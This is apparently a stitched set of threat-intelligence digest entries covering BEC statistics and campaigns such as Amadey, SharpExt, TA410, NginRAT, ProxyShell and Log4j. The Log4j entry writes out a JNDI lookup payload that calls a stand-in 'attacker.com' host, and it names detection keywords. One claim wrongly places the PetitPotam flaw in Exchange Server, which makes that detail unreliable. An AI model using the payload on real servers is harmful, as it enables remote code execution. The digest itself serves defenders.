As we will cover a bit below, Verizon reported that 74% of data breaches Involve the "Human Element," so people are one of the most common factors contributing to successful data breaches. Let\'s drill down a bit more in the social engineering section. They explained: "Now, who has received an email or a direct message on social media from a friend or family member who desperately needs money? Probably fewer of you. This is social engineering (pretexting specifically) and it takes more skill. "The most convincing social engineers can get into your head and convince you that someone you love is in danger. They use information they have learned about you and your loved ones to trick you into believing the message is truly from someone you know, and they use this invented scenario to play on your emotions and create a sense of urgency. The DBIR Figure 35 shows that Pretexting is now more prevalent than Phishing in Social Engineering incidents. However, when we look at confirmed breaches, Phishing is still on top." A social attack known as BEC, or business email compromise, can be quite intricate. In this type of attack, the perpetrator uses existing email communications and information to deceive the recipient into carrying out a seemingly ordinary task, like changing a vendor\'s bank account details. But what makes this attack dangerous is that the new bank account provided belongs to the attacker. As a result, any payments the recipient makes to that account will simply disappear. BEC Attacks Have Nearly Doubled It can be difficult to spot these attacks as the attackers do a lot of preparation beforehand. They may create a domain doppelganger that looks almost identical to the real one and modify the signature block to show their own number instead of the legitimate vendor. Attackers can make many subtle changes to trick their targets, especially if they are receiving many similar legitimate requests. This could be one reason why BEC attacks have nearly doubled across the DBIR entire incident dataset, as shown in Figure 36, and now make up over 50% of incidents in this category. Financially Motivated External Attackers Double Down on Social Engineering Timely detection and response is crucial when dealing with social engineering attacks, as well as most other attacks. Figure 38 shows a steady increase in the median cost of BECs since 2018, now averaging around $50,000, emphasizing the significance of quick detection.

Trending Cyber News and Threat Intelligence Deconstructing Amadey’s Latest Multi-Stage Attack and Malware Distribution (published: May 5, 2023) McAfee researchers have detected a multi-stage attack that starts with a trojanized wextract.exe, Windows executable used to extract files from a cabinet (CAB) file. It was used to deliver the AgentTesla, Amadey botnet, LockBit ransomware, Redline Stealer, and other malicious binaries. To avoid detection, the attackers use obfuscation and disable Windows Defender through the registry thus stopping users from turning it back on through the Defender settings. Analyst Comment: Threat actors are always adapting to the security environment to remain effective. New techniques can still be spotted with behavioral analysis defenses and social engineering training. Users should report suspicious files with double extensions such as .EXE.MUI. Indicators associated with this campaign are available in the Anomali platform and users are advised to block these on their infrastructure.

According to Check Point researchers, FluHorse was targeting East Asia (Taiwan and Vietnam) while remaining undetected for months. This stealthiness is achieved by sticking to minimal functions while also relying on a custom virtual machine that comes with the Flutter user interface software development kit. FluHorse is being distributed via emails that prompt the recipient to install the app and once installed, it asks for the user’s credit card or banking data. If a second factor authentication is needed to commit banking fraud, FluHorse tells the user to wait for 10-15 minutes while intercepting codes by installing a listener for all incoming SMS messages.

Trending Cyber News and Threat Intelligence SharpTongue Deploys Clever Mail-Stealing Browser Extension “SHARPEXT” (published: July 28, 2022) Volexity researchers discovered SharpExt, a new malicious browser app used by the North-Korea sponsored Velvet Chollima (Kimsuky, SharpTongue, Thallium) group. SharpExt inspects and exfiltrates data from a victim's webmail (AOL or Gmail) account as they browse it. Velvet Chollima continues to add new features to the app, the latest known version (3.0) supports three browsers: Microsoft Edge, Google Chrome, and Whale, the latter almost exclusively used in South Korea. Following the initial compromise, Velvet Chollima deploy SharpExt and to avoid warning the victim they manually exfiltrate settings files to change the settings and generate a valid "super_mac" security check value. They also hide the newly opened DevTools window and any other warning windows such as a warning regarding extensions running in developer mode. Analyst Comment: Velvet Chollima is known for its tactic of deploying malicious browser extensions, but in the past it was concentrating on stealing credentials instead of emails. The group continues aggressive cyberespionage campaigns exfiltrating military and industrial technologies from Europe, South Korea, and the US. Network defenders should monitor for suspicious instances of PowerShell execution, as well as for traffic to and from known Velvet Chollima infrastructure (available in Anomali Match).

Trending Cyber News and Threat Intelligence A Lookback Under the TA410 Umbrella: Its Cyberespionage TTPs and Activity (published: April 28, 2022) ESET researchers found three different teams under China-sponsored umbrella cyberespionage group TA410, which is loosely linked to Stone Panda (APT10, Chinese Ministry of State Security). ESET named these teams FlowingFrog, JollyFrog, and LookingFrog. FlowingFrog uses the Royal Road RTF weaponizer described by Anomali in 2019. Infection has two stages: the Tendyron implant followed by a very complex FlowCloud backdoor. JollyFrog uses generic malware such as PlugX and QuasarRAT. LookingFrog’s infection stages feature the X4 backdoor followed by the LookBack backdoor. Besides using different backdoors and exiting from IP addresses located in three different districts, the three teams use similar tools and similar tactics, techniques, and procedures (TTPs). Analyst Comment: Organizations should keep their web-facing applications such as Microsoft Exchange or SharePoint secured and updated. Educate your employees on handling suspected spearphishing attempts. Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from APTs, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place.

Trending Cyber News and Threat Intelligence Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit (published: December 10, 2021) A critical vulnerability, registered as CVE-2021-44228, has been identified in Apache Log4j 2, which is an open source Java package used to enable logging in. The Apache Software Foundation (ASF) rates the vulnerability as a 10 on the common vulnerability scoring system (CVSS) scale. Cisco Talos has observed malicious activity related to CVE-2021-44228 beginning on December 2, 2021. This vulnerability affects millions of users and exploitation proof-of-concept code exists via LunaSec explains how to exploit it in five simple steps. These include: 1: Data from the User gets sent to the server (via any protocol). 2: The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server). 3: The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI). 4: This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process. 5: This injected payload triggers a second stage, and allows an attacker to execute arbitrary code. Analyst Comment: Log4j version 2.15.0 has been released to address this vulnerability, however, it only changes a default setting (log4j2.formatMsgNoLookups) from false to true. This means that if the setting is set back to false, Log4j will again be vulnerable to exploitation. The initial campaigns could have been detected by filtering on certain keywords such as "ldap", "jndi", but this detection method is easily bypassable.

Trending Cyber News and Threat Intelligence New Malware Hides as Legit Nginx Process on E-Commerce Servers (published: December 2, 2021) Researchers at Sansec discovered NginRAT, a new malware variant that has been found on servers in the US, Germany, and France. Put in place to intercept credit card payments, this malware impersonates legitimate nginx processes which makes it very difficult to detect. NginRAT has shown up on systems that were previously infected with CronRAT, a trojan that schedules processes to run on invalid calendar days. This is used as a persistence technique to ensure that even if a malicious process is killed, the malware has a way to re-infect the system. Analyst Comment: Threat actors are always adapting to the security environment to remain effective. New techniques can still be spotted with behavioural analysis defenses and social engineering training. Ensure that your company's firewall blocks all entry points for unauthorized users, and maintain records of how normal traffic appears on your network. Therefore, it will be easier to spot unusual traffic and connections to and from your network to potentially identify malicious activity. MITRE ATT&CK: [MITRE ATT&CK] Obfuscated Files or Information - T1027 | [MITRE ATT&CK] Shared Modules - T1129 Tags: NginRAT, CronRAT, Nginx, North America, EU How Phishing Kits Are Enabling A New Legion Of Pro Phishers (published: December 2, 2021) Phishing kits, such as XBALTI are seeing increased use against financial institutions. Mixing email with SMS messages, attackers are targeting companies such as Charles Schwab, J.P. Morgan Chase, RBC Royal Bank and Wells Fargo. Victims are targeted and asked to verify account details. The attack is made to appear legitimate by redirecting to the real sites after information has been harvested. Analyst Comment: With financial transactions increasing around this time of year, it is likely financially themed malspam and phishing emails will be a commonly used tactic. Therefore, it is crucial that your employees are aware of their financial institution's policies regarding electronic communication. If a user is concerned due to the scare tactics often used in such emails, they should contact their financial institution via legitimate email or another form of communication. Requests to open a document in a sense of urgency and poor grammar are often indicative of malspam or phishing attacks. Said emails should be properly avoided and reported to the appropriate personnel.

Trending Cyber News and Threat Intelligence Microsoft Exchange Servers Still Vulnerable to ProxyShell Exploit (published: August 23, 2021) Despite patches a collection of vulnerabilities (ProxyShell) discovered in Microsoft Exchange being available in the July 2021 update, researchers discovered nearly 2,000 of these vulnerabilities have recently been compromised to host webshells. These webshells allow for attackers to retain backdoor access to compromised servers for further exploitation and lateral movement into the affected organizations. Researchers believe that these attacks may be related to the recent LockFile ransomware attacks. Analyst Comment: Organizations running Microsoft Exchange are strongly encouraged to prioritize updates to prevent ongoing exploitation of these vulnerabilities. In addition, a thorough investigation to discover and remove planted webshells should be undertaken as the patches will not remove planted webshells in their environments. A threat intelligence platform (TIP) such as Anomali Threatstream can be a valuable tool to assist organizations ingesting current indicators of compromise (IOCs) and determine whether their Exchange instances have been compromised.

The first known instance of this ransomware was July 20, 2021, and activity is ongoing. This ransomware has been seen largely targeting organizations in a wide range of industries across the US and Asia. The initial access vector remains unknown at this time, but the ransomware leverages the incompletely patched PetitPotam vulnerability (CVE-2021-36942) in Microsoft's Exchange Server to pivot to Domain Controllers (DCs) which are then leveraged to deploy ransomware tools to devices that connect to the DC.
